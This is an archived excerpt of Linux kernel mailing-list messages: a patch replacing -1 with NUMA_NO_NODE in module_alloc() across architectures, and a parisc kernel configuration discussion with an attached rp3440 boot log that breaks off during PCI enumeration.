To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jianguo Wu <wujianguo@huawei.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [PATCH 4/4] mm/arch: use NUMA_NODE
Date: Sat, 31 Aug 2013 08:54:21 +0800
Lines: 116
Approved: news@gmane.org
Message-ID: <52213EBD.8060609@huawei.com>
References: <521FFE3B.7040801@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377910480 30559 80.91.229.3 (31 Aug 2013 00:54:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 31 Aug 2013 00:54:40 +0000 (UTC)
Cc: <linux-arm-kernel@lists.infradead.org>,
	<linux-kernel@vger.kernel.org>, <linux-mips@linux-mips.org>,
	<linux-parisc@vger.kernel.org>, <linux-s390@vger.kernel.org>,
	<sparclinux@vger.kernel.org>, <x86@kernel.org>,
	<linux-mm@kvack.org>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 31 02:54:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VFZSZ-0003ym-Oz
	for glpp-linux-parisc@plane.gmane.org; Sat, 31 Aug 2013 02:54:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753686Ab3HaAyi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Aug 2013 20:54:38 -0400
Original-Received: from szxga01-in.huawei.com ([119.145.14.64]:3179 "EHLO
	szxga01-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752725Ab3HaAyh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Aug 2013 20:54:37 -0400
Original-Received: from 172.24.2.119 (EHLO szxeml206-edg.china.huawei.com) ([172.24.2.119])
	by szxrg01-dlp.huawei.com (MOS 4.3.4-GA FastPath queued)
	with ESMTP id BHN26053;
	Sat, 31 Aug 2013 08:54:32 +0800 (CST)
Original-Received: from SZXEML452-HUB.china.huawei.com (10.82.67.195) by
 szxeml206-edg.china.huawei.com (172.24.2.59) with Microsoft SMTP Server (TLS)
 id 14.1.323.7; Sat, 31 Aug 2013 08:54:27 +0800
Original-Received: from [127.0.0.1] (10.135.74.216) by szxeml452-hub.china.huawei.com
 (10.82.67.195) with Microsoft SMTP Server id 14.1.323.7; Sat, 31 Aug 2013
 08:54:26 +0800
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
In-Reply-To: <521FFE3B.7040801@huawei.com>
X-Originating-IP: [10.135.74.216]
X-CFilter-Loop: Reflected
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5286 gmane.linux.ports.arm.kernel:264623 gmane.linux.kernel:1554022 gmane.linux.ports.mips.general:38855 gmane.linux.ports.sparc:18147 gmane.linux.kernel.mm:106308
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5286>

Cc linux-mm@kvack.org

On 2013/8/30 10:06, Jianguo Wu wrote:

> Use more appropriate NUMA_NO_NODE instead of -1 in some archs' module_alloc()
> 
> Signed-off-by: Jianguo Wu <wujianguo@huawei.com>
> ---
>  arch/arm/kernel/module.c    |    2 +-
>  arch/arm64/kernel/module.c  |    2 +-
>  arch/mips/kernel/module.c   |    2 +-
>  arch/parisc/kernel/module.c |    2 +-
>  arch/s390/kernel/module.c   |    2 +-
>  arch/sparc/kernel/module.c  |    2 +-
>  arch/x86/kernel/module.c    |    2 +-
>  7 files changed, 7 insertions(+), 7 deletions(-)
> 
> diff --git a/arch/arm/kernel/module.c b/arch/arm/kernel/module.c
> index 85c3fb6..8f4cff3 100644
> --- a/arch/arm/kernel/module.c
> +++ b/arch/arm/kernel/module.c
> @@ -40,7 +40,7 @@
>  void *module_alloc(unsigned long size)
>  {
>  	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
> -				GFP_KERNEL, PAGE_KERNEL_EXEC, -1,
> +				GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
>  				__builtin_return_address(0));
>  }
>  #endif
> diff --git a/arch/arm64/kernel/module.c b/arch/arm64/kernel/module.c
> index ca0e3d5..8f898bd 100644
> --- a/arch/arm64/kernel/module.c
> +++ b/arch/arm64/kernel/module.c
> @@ -29,7 +29,7 @@
>  void *module_alloc(unsigned long size)
>  {
>  	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
> -				    GFP_KERNEL, PAGE_KERNEL_EXEC, -1,
> +				    GFP_KERNEL, PAGE_KERNEL_EXEC, NUMA_NO_NODE,
>  				    __builtin_return_address(0));
>  }
>  
> diff --git a/arch/mips/kernel/module.c b/arch/mips/kernel/module.c
> index 977a623..b507e07 100644
> --- a/arch/mips/kernel/module.c
> +++ b/arch/mips/kernel/module.c
> @@ -46,7 +46,7 @@ static DEFINE_SPINLOCK(dbe_lock);
>  void *module_alloc(unsigned long size)
>  {
>  	return __vmalloc_node_range(size, 1, MODULE_START, MODULE_END,
> -				GFP_KERNEL, PAGE_KERNEL, -1,
> +				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
>  				__builtin_return_address(0));
>  }
>  #endif
> diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
> index 2a625fb..50dfafc 100644
> --- a/arch/parisc/kernel/module.c
> +++ b/arch/parisc/kernel/module.c
> @@ -219,7 +219,7 @@ void *module_alloc(unsigned long size)
>  	 * init_data correctly */
>  	return __vmalloc_node_range(size, 1, VMALLOC_START, VMALLOC_END,
>  				    GFP_KERNEL | __GFP_HIGHMEM,
> -				    PAGE_KERNEL_RWX, -1,
> +				    PAGE_KERNEL_RWX, NUMA_NO_NODE,
>  				    __builtin_return_address(0));
>  }
>  
> diff --git a/arch/s390/kernel/module.c b/arch/s390/kernel/module.c
> index 7845e15..b89b591 100644
> --- a/arch/s390/kernel/module.c
> +++ b/arch/s390/kernel/module.c
> @@ -50,7 +50,7 @@ void *module_alloc(unsigned long size)
>  	if (PAGE_ALIGN(size) > MODULES_LEN)
>  		return NULL;
>  	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
> -				    GFP_KERNEL, PAGE_KERNEL, -1,
> +				    GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
>  				    __builtin_return_address(0));
>  }
>  #endif
> diff --git a/arch/sparc/kernel/module.c b/arch/sparc/kernel/module.c
> index 4435488..97655e0 100644
> --- a/arch/sparc/kernel/module.c
> +++ b/arch/sparc/kernel/module.c
> @@ -29,7 +29,7 @@ static void *module_map(unsigned long size)
>  	if (PAGE_ALIGN(size) > MODULES_LEN)
>  		return NULL;
>  	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
> -				GFP_KERNEL, PAGE_KERNEL, -1,
> +				GFP_KERNEL, PAGE_KERNEL, NUMA_NO_NODE,
>  				__builtin_return_address(0));
>  }
>  #else
> diff --git a/arch/x86/kernel/module.c b/arch/x86/kernel/module.c
> index 216a4d7..18be189 100644
> --- a/arch/x86/kernel/module.c
> +++ b/arch/x86/kernel/module.c
> @@ -49,7 +49,7 @@ void *module_alloc(unsigned long size)
>  		return NULL;
>  	return __vmalloc_node_range(size, 1, MODULES_VADDR, MODULES_END,
>  				GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
> -				-1, __builtin_return_address(0));
> +				NUMA_NO_NODE, __builtin_return_address(0));
>  }
>  
>  #ifdef CONFIG_X86_32



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc debian kernel - missing  modules for C8000 - linux-image-3.10-2-parisc64-smp
Date: Sat, 31 Aug 2013 13:13:38 -0400
Lines: 638
Approved: news@gmane.org
Message-ID: <BLU0-SMTP41F72FA4035273DC12703897360@phx.gbl>
References: <521A7589.5000503@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-16-230059757"
X-Trace: ger.gmane.org 1377969242 29866 80.91.229.3 (31 Aug 2013 17:14:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 31 Aug 2013 17:14:02 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 31 19:13:59 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VFokI-0000to-QH
	for glpp-linux-parisc@plane.gmane.org; Sat, 31 Aug 2013 19:13:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753991Ab3HaRN6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 31 Aug 2013 13:13:58 -0400
Original-Received: from blu0-omc4-s22.blu0.hotmail.com ([65.55.111.161]:2712 "EHLO
	blu0-omc4-s22.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753501Ab3HaRN4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 31 Aug 2013 13:13:56 -0400
Original-Received: from BLU0-SMTP41 ([65.55.111.137]) by blu0-omc4-s22.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 31 Aug 2013 10:13:56 -0700
X-TMN: [CF10PjH8Fe8hgopEF+sWYDAeIDNlBqdc]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP41.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 31 Aug 2013 10:13:54 -0700
In-Reply-To: <521A7589.5000503@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 31 Aug 2013 17:13:54.0552 (UTC) FILETIME=[789CEF80:01CEA66D]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5287
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5287>

--Apple-Mail-16-230059757
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 25-Aug-13, at 5:22 PM, Helge Deller wrote:

> Can you maybe try to enable those kernel options generally on the  
> 64bit SMP/UP kernels too (either as module or built-in):
>
> For the IDE CDROM:
> CONFIG_BLK_DEV_SIIMAGE=y
>
> For the built-in SCSI controller:
> CONFIG_FUSION=y
> CONFIG_FUSION_SPI=y
>
> Built-in NIC:
> CONFIG_E1000=y   (not CONFIG_E1000E)
>
> and for Radeon DRM:
> CONFIG_DRM_RADEON=y
> CONFIG_AGP=y
> CONFIG_AGP_PARISC=y
> CONFIG_VGA_ARB=y
> CONFIG_VGA_ARB_MAX_GPUS=16
> CONFIG_DRM=y
> CONFIG_DRM_KMS_HELPER=y
> CONFIG_DRM_TTM=y
> CONFIG_BACKLIGHT_LCD_SUPPORT=y  (<-- seems to be needed).


I added the above to my rp3440 config as modules.  Adding the above as  
built-in made the kernel too big
to link without using long calls.  This exposed a bug in 64-bit ld.   
It crashed linking trying to print "cannot reach"
errors.  This is fixed in the latest binutils upload to the archive  
and the binutils source.

With radeon support enabled, I get a consistent warning at kernel/ 
workqueue.c:1378.  See attached output
from dmesg.  Possibly, it has something to do with ring test failure.

Thoughts?

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-16-230059757
Content-Disposition: attachment; filename="dmesg.txt"
Content-Type: text/plain; x-unix-mode=0644; name="dmesg.txt"
Content-Transfer-Encoding: 7bit

Linux version 3.11.0-rc7+ (dave@mx3210) (gcc version 4.8.1 (GCC) ) #1 SMP Sat Aug 31 11:35:56 EDT 2013
unwind_init: start = 0x405c9000, end = 0x405ffa40, entries = 13988
FP[0] enabled: Rev 1 Model 20
The 64-bit Kernel has started...
Default page size is 4KB.
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00008870 00000491 00000000 00000002 3e0505e7352af711 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 20 rev 4 (0x00000284)
capabilities 0x35
model 9000/800/rp3440  
parisc_cache_init: Only equivalent aliasing supported!
Memory Ranges:
 0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
 1) Start 0x0000000100000000 End 0x00000001ffdfffff Size   4094 MB
 2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
Total Memory: 8190 MB
initrd: 7e1c6000-7ebee641
initrd: reserving 3e1c6000-3ebee641 (mem_max 1ffe00000)
On node 0 totalpages: 262144
free_area_init_node: node 0, pgdat 4061b900, node_mem_map 41725000
  Normal zone: 3584 pages used for memmap
  Normal zone: 0 pages reserved
  Normal zone: 262144 pages, LIFO batch:31
On node 1 totalpages: 1048064
free_area_init_node: node 1, pgdat 4061c5c0, node_mem_map 140000000
  Normal zone: 14329 pages used for memmap
  Normal zone: 0 pages reserved
  Normal zone: 1048064 pages, LIFO batch:31
On node 2 totalpages: 786432
free_area_init_node: node 2, pgdat 4061d280, node_mem_map 4080000000
  Normal zone: 10752 pages used for memmap
  Normal zone: 0 pages reserved
  Normal zone: 786432 pages, LIFO batch:31
PERCPU: Embedded 14 pages/cpu @000000004252e000 s26752 r8192 d22400 u57344
pcpu-alloc: s26752 r8192 d22400 u57344 alloc=14*4096
pcpu-alloc: [0] 00 [0] 01 [0] 02 [0] 03 [0] 04 [0] 05 [0] 06 [0] 07 
pcpu-alloc: [0] 08 [0] 09 [0] 10 [0] 11 [0] 12 [0] 13 [0] 14 [0] 15 
pcpu-alloc: [0] 16 [0] 17 [0] 18 [0] 19 [0] 20 [0] 21 [0] 22 [0] 23 
pcpu-alloc: [0] 24 [0] 25 [0] 26 [0] 27 [0] 28 [0] 29 [0] 30 [0] 31 
SMP: bootstrap CPU ID is 0
Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 2067975
Kernel command line: root=UUID=ac66c6a1-0b08-481d-a400-9fb6e7a49f1b console=ttyS1 HOME=/ rootfstype=xfs palo_kernel=2/vmlinuz
PID hash table entries: 4096 (order: 3, 32768 bytes)
Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
Sorting __ex_table...
Memory: 8223672K/8386560K available (4167K kernel code, 886K rwdata, 732K rodata, 256K init, 398K bss, 162888K reserved)
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x0000004140000000   (266240 MB)
      .init : 0x0000000040790000 - 0x00000000407d0000   ( 256 kB)
      .data : 0x0000000040511c18 - 0x00000000406a64d0   (1618 kB)
      .text : 0x0000000040100000 - 0x0000000040511c18   (4167 kB)
Hierarchical RCU implementation.
NR_IRQS:128
Console: colour dummy device 160x64
------------------------
| Locking API testsuite:
----------------------------------------------------------------------------
                                 | spin |wlock |rlock |mutex | wsem | rsem |
  --------------------------------------------------------------------------
                     A-A deadlock:failed|failed|  ok  |failed|failed|failed|
                 A-B-B-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-B-C-C-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-C-A-B-C deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-B-C-C-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-C-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
                    double unlock:failed|failed|failed|  ok  |failed|failed|
                  initialize held:failed|failed|failed|failed|failed|failed|
                 bad unlock order:  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |
  --------------------------------------------------------------------------
              recursive read-lock:             |  ok  |             |failed|
           recursive read-lock #2:             |  ok  |             |failed|
            mixed read-write-lock:             |failed|             |failed|
            mixed write-read-lock:             |failed|             |failed|
  --------------------------------------------------------------------------
     hard-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     hard-irqs-on + irq-safe-A/21:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/21:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/12:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/21:failed|failed|  ok  |
         hard-safe-A + irqs-on/12:failed|failed|  ok  |
         soft-safe-A + irqs-on/12:failed|failed|  ok  |
         hard-safe-A + irqs-on/21:failed|failed|  ok  |
         soft-safe-A + irqs-on/21:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/321:failed|failed|  ok  |
      hard-irq lock-inversion/123:failed|failed|  ok  |
      soft-irq lock-inversion/123:failed|failed|  ok  |
      hard-irq lock-inversion/132:failed|failed|  ok  |
      soft-irq lock-inversion/132:failed|failed|  ok  |
      hard-irq lock-inversion/213:failed|failed|  ok  |
      soft-irq lock-inversion/213:failed|failed|  ok  |
      hard-irq lock-inversion/231:failed|failed|  ok  |
      soft-irq lock-inversion/231:failed|failed|  ok  |
      hard-irq lock-inversion/312:failed|failed|  ok  |
      soft-irq lock-inversion/312:failed|failed|  ok  |
      hard-irq lock-inversion/321:failed|failed|  ok  |
      soft-irq lock-inversion/321:failed|failed|  ok  |
      hard-irq read-recursion/123:  ok  |
      soft-irq read-recursion/123:  ok  |
      hard-irq read-recursion/132:  ok  |
      soft-irq read-recursion/132:  ok  |
      hard-irq read-recursion/213:  ok  |
      soft-irq read-recursion/213:  ok  |
      hard-irq read-recursion/231:  ok  |
      soft-irq read-recursion/231:  ok  |
      hard-irq read-recursion/312:  ok  |
      soft-irq read-recursion/312:  ok  |
      hard-irq read-recursion/321:  ok  |
      soft-irq read-recursion/321:  ok  |
  --------------------------------------------------------------------------
  | Wound/wait tests |
  ---------------------
                  ww api failures:  ok  |  ok  |  ok  |
               ww contexts mixing:failed|  ok  |
             finishing ww context:  ok  |  ok  |  ok  |  ok  |
               locking mismatches:  ok  |  ok  |  ok  |
                 EDEADLK handling:  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |
           spinlock nest unlocked:failed|
  -----------------------------------------------------
                                 |block | try  |context|
  -----------------------------------------------------
                          context:failed|  ok  |  ok  |
                              try:failed|  ok  |failed|
                            block:failed|  ok  |failed|
                         spinlock:failed|  ok  |failed|
--------------------------------------------------------
153 out of 253 testcases failed, as expected. |
----------------------------------------------------
Calibrating delay loop... 1594.16 BogoMIPS (lpj=7970816)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 256
Brought up 1 CPUs
devtmpfs: initialized
atomic64 test passed
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Storm Peak Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x887, 0x00004 }
2. Storm Peak Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x887, 0x00004 }
3. Storm Peak Slow at 0xfffffffffe798000 [152] { 0, 0x0, 0x887, 0x00004 }
4. Storm Peak Slow at 0xfffffffffe799000 [153] { 0, 0x0, 0x887, 0x00004 }
5. Everest Mako Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0af, 0x00009 }
6. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
7. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
8. Mercury PCI Bridge at 0xfffffffffed22000 [0/1] { 13, 0x0, 0x783, 0x0000a }
9. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
10. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
11. Mercury PCI Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x783, 0x0000a }
12. Mercury PCI Bridge at 0xfffffffffed2c000 [0/6] { 13, 0x0, 0x783, 0x0000a }
13. Mercury PCI Bridge at 0xfffffffffed2e000 [0/7] { 13, 0x0, 0x783, 0x0000a }
14. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
Enabling PDC_PAT chassis codes support v0.05
Releasing cpu 1 now, hpa=fffffffffe781000
FP[1] enabled: Rev 1 Model 20
Releasing cpu 2 now, hpa=fffffffffe798000
FP[2] enabled: Rev 1 Model 20
Releasing cpu 3 now, hpa=fffffffffe799000
FP[3] enabled: Rev 1 Model 20
CPU(s): 4 x PA8800 (Mako) at 800.013300 MHz
Whole cache flush 8999457 cycles, flushing 7143424 bytes 722653 cycles
Setting cache flush threshold to 2000000 (4 CPUs online)
SBA found Pluto 2.3 at 0xfffffffffed00000
Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
LBA 0:0: PCI host bridge to bus 0000:00
pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
pci_bus 0000:00: root bus resource [mem 0xffffffff80000000-0xffffffff8fffffff] (bus address [0x80000000-0x8fffffff])
pci_bus 0000:00: root bus resource [mem 0xffffff0004000000-0xffffff0fffffffff]
pci_bus 0000:00: root bus resource [bus 00-07]
pci 0000:00:01.0: [1033:0035] type 00 class 0x0c0310
pci 0000:00:01.0: reg 0x10: [mem 0xffffffff80002000-0xffffffff80002fff]
pci 0000:00:01.0: supports D1 D2
pci 0000:00:01.0: PME# supported from D0 D1 D2 D3hot
pci 0000:00:01.1: [1033:0035] type 00 class 0x0c0310
pci 0000:00:01.1: reg 0x10: [mem 0xffffffff80001000-0xffffffff80001fff]
pci 0000:00:01.1: supports D1 D2
pci 0000:00:01.1: PME# supported from D0 D1 D2 D3hot
pci 0000:00:01.2: [1033:00e0] type 00 class 0x0c0320
pci 0000:00:01.2: reg 0x10: [mem 0xffffffff80000000-0xffffffff800000ff]
pci 0000:00:01.2: supports D1 D2
pci 0000:00:01.2: PME# supported from D0 D1 D2 D3hot
pci 0000:00:02.0: [1095:0649] type 00 class 0x01018f
pci 0000:00:02.0: reg 0x10: [io  0x0d18-0x0d1f]
pci 0000:00:02.0: reg 0x14: [io  0x0d24-0x0d27]
pci 0000:00:02.0: reg 0x18: [io  0x0d10-0x0d17]
pci 0000:00:02.0: reg 0x1c: [io  0x0d20-0x0d23]
pci 0000:00:02.0: reg 0x20: [io  0x0d00-0x0d0f]
pci 0000:00:02.0: supports D1 D2
Mercury version TR3.2 (0x32) found at 0xfffffffffed22000
LBA 0:1: PCI host bridge to bus 0000:20
pci_bus 0000:20: root bus resource [io  0x10000-0x1ffff] (bus address [0x0000-0xffff])
pci_bus 0000:20: root bus resource [mem 0xffffffff90000000-0xffffffff9fffffff] (bus address [0x90000000-0x9fffffff])
pci_bus 0000:20: root bus resource [mem 0xffffff1004000000-0xffffff1fffffffff]
pci_bus 0000:20: root bus resource [bus 20-27]
pci 0000:20:01.0: [1000:0021] type 00 class 0x010000
pci 0000:20:01.0: reg 0x10: [io  0x12100-0x121ff]
pci 0000:20:01.0: reg 0x14: [mem 0xffffffff90015000-0xffffffff900153ff 64bit]
pci 0000:20:01.0: reg 0x1c: [mem 0xffffffff90012000-0xffffffff90013fff 64bit]
pci 0000:20:01.0: supports D1 D2
pci 0000:20:01.1: [1000:0021] type 00 class 0x010000
pci 0000:20:01.1: reg 0x10: [io  0x12000-0x120ff]
pci 0000:20:01.1: reg 0x14: [mem 0xffffffff90014000-0xffffffff900143ff 64bit]
pci 0000:20:01.1: reg 0x1c: [mem 0xffffffff90010000-0xffffffff90011fff 64bit]
pci 0000:20:01.1: supports D1 D2
pci 0000:20:02.0: [14e4:1645] type 00 class 0x020000
pci 0000:20:02.0: reg 0x10: [mem 0xffffffff90000000-0xffffffff9000ffff 64bit]
pci 0000:20:02.0: PME# supported from D3hot D3cold
Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
LBA 0:2: PCI host bridge to bus 0000:40
pci_bus 0000:40: root bus resource [io  0x20000-0x2ffff] (bus address [0x0000-0xffff])
pci_bus 0000:40: root bus resource [mem 0xffffffffa0000000-0xffffffffafffffff] (bus address [0xa0000000-0xafffffff])
pci_bus 0000:40: root bus resource [mem 0xffffff2004000000-0xffffff2fffffffff]
pci_bus 0000:40: root bus resource [bus 40-47]
Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
LBA 0:3: PCI host bridge to bus 0000:60
pci_bus 0000:60: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0xffff])
pci_bus 0000:60: root bus resource [mem 0xffffffffb0000000-0xffffffffbfffffff] (bus address [0xb0000000-0xbfffffff])
pci_bus 0000:60: root bus resource [mem 0xffffff3004000000-0xffffff3fffffffff]
pci_bus 0000:60: root bus resource [bus 60-67]
Mercury version TR3.2 (0x32) found at 0xfffffffffed28000
LBA: lmmio_space [0xffffffffc0000000-0xffffffffdfffffff] - new
LBA 0:4: PCI host bridge to bus 0000:80
pci_bus 0000:80: root bus resource [io  0x40000-0x4ffff] (bus address [0x0000-0xffff])
pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffdfffffff] (bus address [0xc0000000-0xdfffffff])
pci_bus 0000:80: root bus resource [mem 0xffffff4004000000-0xffffff4fffffffff]
pci_bus 0000:80: root bus resource [bus 80-87]
Mercury version TR3.2 (0x32) found at 0xfffffffffed2c000
LBA 0:6: PCI host bridge to bus 0000:c0
pci_bus 0000:c0: root bus resource [io  0x50000-0x5ffff] (bus address [0x0000-0xffff])
pci_bus 0000:c0: root bus resource [mem 0xffffffffe0000000-0xffffffffefffffff] (bus address [0xe0000000-0xefffffff])
pci_bus 0000:c0: root bus resource [mem 0xffffff6004000000-0xffffff6fffffffff]
pci_bus 0000:c0: root bus resource [bus c0-c7]
Mercury version TR3.2 (0x32) found at 0xfffffffffed2e000
LBA: lmmio_space [0xfffffffff0000000-0xfffffffffe77ffff] - new
LBA 0:7: PCI host bridge to bus 0000:e0
pci_bus 0000:e0: root bus resource [io  0x60000-0x6ffff] (bus address [0x0000-0xffff])
pci_bus 0000:e0: root bus resource [mem 0xfffffffff0000000-0xfffffffffe77ffff] (bus address [0xf0000000-0xfe77ffff])
pci_bus 0000:e0: root bus resource [mem 0xffffff7004000000-0xffffff7fffffffff]
pci_bus 0000:e0: root bus resource [bus e0-e7]
pci 0000:e0:01.0: [103c:1290] type 00 class 0x078000
pci 0000:e0:01.0: reg 0x18: [mem 0xfffffffff4051000-0xfffffffff405100f]
pci 0000:e0:01.1: [103c:1048] type 00 class 0x070002
pci 0000:e0:01.1: reg 0x10: [mem 0xfffffffff4050000-0xfffffffff4050fff]
